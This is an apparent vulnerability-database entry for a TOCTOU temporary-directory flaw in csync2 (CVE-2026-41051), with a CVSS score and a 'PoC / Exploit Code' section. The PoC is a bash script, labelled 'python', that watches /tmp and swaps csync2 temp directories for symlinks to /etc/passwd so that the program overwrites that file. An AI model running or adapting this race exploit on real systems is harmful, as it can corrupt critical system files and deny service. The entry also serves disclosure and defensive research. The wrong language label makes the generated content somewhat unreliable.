csync2 uses insecure temporary directories when compiled with C99 or later, allowing for TOCTOU style attacks on the temporary directories.
CVSS Details
CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
csync2 (所有使用C99或更高版本编译的版本)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-41051: TOCTOU on csync2 temporary directory
# This script attempts to race with csync2 to replace a predictable temp directory.
TARGET_DIR="/tmp/csync2-temp-"
MALICIOUS_LINK="/etc/passwd" # Example target to disrupt
echo "[+] Starting PoC for CVE-2026-41051..."
# Monitor /tmp for csync2 directory creation
while true; do
# Look for recently created directories matching the pattern
NEW_DIR=$(ls -td ${TARGET_DIR}* 2>/dev/null | head -n 1)
if [ -n "$NEW_DIR" ]; then
echo "[+] Detected potential temp directory: $NEW_DIR"
# Attempt to remove and replace with a symlink before usage (Race Condition)
# In a real scenario, precise timing or higher CPU priority might be needed
rm -rf "$NEW_DIR"
ln -s "$MALICIOUS_LINK" "$NEW_DIR"
if [ -L "$NEW_DIR" ]; then
echo "[!] Successfully replaced directory with symlink to $MALICIOUS_LINK"
echo "[!] Waiting for csync2 to write to the link..."
fi
fi
sleep 0.1
done